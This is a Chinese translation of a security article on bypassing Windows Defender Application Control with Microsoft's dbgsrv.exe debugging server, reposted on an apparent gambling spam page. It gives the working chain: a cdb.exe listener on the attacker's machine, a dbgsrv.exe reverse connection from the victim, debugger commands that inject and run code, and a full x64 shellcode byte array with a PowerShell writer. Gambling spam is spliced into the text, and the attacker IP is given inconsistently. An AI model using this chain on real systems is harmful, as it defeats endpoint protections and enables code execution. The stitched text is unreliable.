老虎机游戏 如何利用dbgsrvexe绕过WDAC
你的位置:老虎机游戏 > 博彩问答 >

如何利用dbgsrvexe绕过WDAC

发布日期:2022-03-02 14:23    点击次数:196

如何利用dbgsrvexe绕过WDAC

WDAC - Windows Defender应用程序控制微软自带应用和黑名单
注:这篇文章包含了2019年Casey Smith和Ross Wolf在美国BlackHat大会上的演讲内容
目前,Windows中存在很多基于白名单程序的代码执行绕过,攻击者会利用微软系统自带应用中的某些功能来合法执行恶意代码。由于大多数绕过方法都是基于系统应用的合法功能,而不是直接突破白名单的限制,所以微软通常不会对这些脆弱的应用大动干戈,但官方会维护一个应用“黑名单”列表,提示各大公司组织都应在自己的网络环境中限制这些应用,除非非用不可。
如果你看下这个黑名单列表,你会看到很多熟悉的身影,比如:
Msbuild.exeWmic.exeMshta.exe此外,黑名单中还有另一类应用,主要是调试器工具,例如:
Cdb.exeDbghost.exeDbgsvc.exeWindbg.exe从绕过的角度来看,调试器似乎并不是很常用,但是,它们被包含在这个黑名单肯定是有道理的,对吗?假设,如果我们能够与进程交互并修改其执行动作,那就可以绕过系统上的任何保护来执行任意代码。调试器也是如此,不同程序都可扩展调试功能,从而允许攻击者以意想不到的方式滥用功能,导致任意代码执行。
让我们更深入地研究这个概念。
利用远程调试进行绕过
首先,让我们安装Windows 10 SDK(version 1903),特别是用于Windows的调试工具。在安装完成调试工具之后,让我们特别关注一下dbgsr.exe。与以前滥用白名单程序一样,找到一个可以利用的应用是重点。当使用sigcheck对dbgsrv.exe进行检查,可以看到它是由Microsoft签名的。


下一个问题是dbgsr.exe究竟可做什么?它被称为“process server”,可让开发人员使用cdb.exe之类的调试器远程调试应用程序。你可以在这里查看该应用支持的各种命令行选项。其中,-t可让你为dbgsr.exe指定传输协议,这里还有进一步的说明文档。dbgsr.exe支持的很多不同的传输方式:
命名管道TCP串行端口SSL安全管道为了“远程调试”,主动让dbgsr.exe回连攻击者所控制的计算机,从而利用这个微软签名应用达到远控的效果。
完成上述操作的第一步是设置调试器,将其配置为接受远程连接。这一步可以通过cdb.exe完成。虽然cdb.exe也在微软的黑名单中的,但这次它是在攻击者的机器上运行。接下来,我们就让dbgsr.exe回连到攻击者控制的机器。
首先将cdb.exe配置为接收我们的传入连接,可以运行以下命令:
&”C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\cdb.exe” -premote tcp:port=22,clicon=0.0.0.0 C:\Windows\system32\notepad.exe其中-premote选项代表cdb.exe应该监听22端口,当调试器接收到传入连接时,远程系统生成notepad.exe进行调试。


下一步是让dbgsr.exe连接到攻击者控制的系统,并与调试器进行交互。相关命令如下:
“C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\dbgsrv.exe” -t tcp:clicon=172.16.86.144,port=22以上命令代表dbgsrv.exe以TCP的形式连接到172.16.93.144的22端口。因为cdb.exe早已运行,一旦你运行上面的命令,你就会看到一个notepad.exe在受害者系统上出现。


再回到攻击者的机器上,我们现在可以通过cdb.exe与远程系统上的notepad.exe进行交互。



用cdb.exe注入恶意代码
此时,只需使用cdb.exe将恶意代码注入notepad.exe并运行就大功告成了。这里牵涉到以下命令:
.dvalloc - 此命令将为调试后的进程中分配用户指定的内存.readmem - 此命令将从文件中读取数据并将其复制到用户指定的内存地址中.r @$ip= - 设置指令指针,从用户指定的内存地址开始运行命令g - 指示cdb.exe开始执行要进行彻底的武器化,需要创建一个包含shell代码的文件。在本例中,Casey创建了一个名为“shellcode”的文件,里面的代码将弹出计算器。
现在,我们需要在cdb中运行上述命令来攻击受害者系统。
[Byte[]] $Shellcode64 = @(0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51, 0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52, 0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0, 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed, 0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88, 0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44, 0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48, 0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1, 0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44, 0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49, 0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a, 0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41, 0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b, 0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff, 0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47, 0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00) [io.file]::WriteAllBytes('shellcode.jpg',$Shellcode64)以上是利用powershell生成的恶意文件。


在执行完成之后,我们可以看到,受到严密保护的受害者系统跳出了计算器。


感谢你阅读这篇文章!


本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:如何利用dbgsrv.exe绕过WDAC|NOSEC安全讯息平台 - 白帽汇安全研究院
原文:https://www.fortynorthsecurity.com/how-to-bypass-wdac-with-dbgsrv-exe/
白帽汇从事信息安全,专注于安全大数据、企业威胁情报。
公司产品:FOFA-网络空间安全搜索引擎、FOEYE-网络空间检索系统、NOSEC-安全讯息平台。
为您提供:网络空间测绘、企业资产收集、企业威胁情报、应急响应服务。

如果你的耳朵痒了,证明有人想念你;如果你的眼睛痒了博彩问答,证明有人想见你;如果你的嘴唇痒了,证明有人想吻你;如果你的身体痒了……别瞎想了博彩问答,该洗澡了!



友情链接:

TOP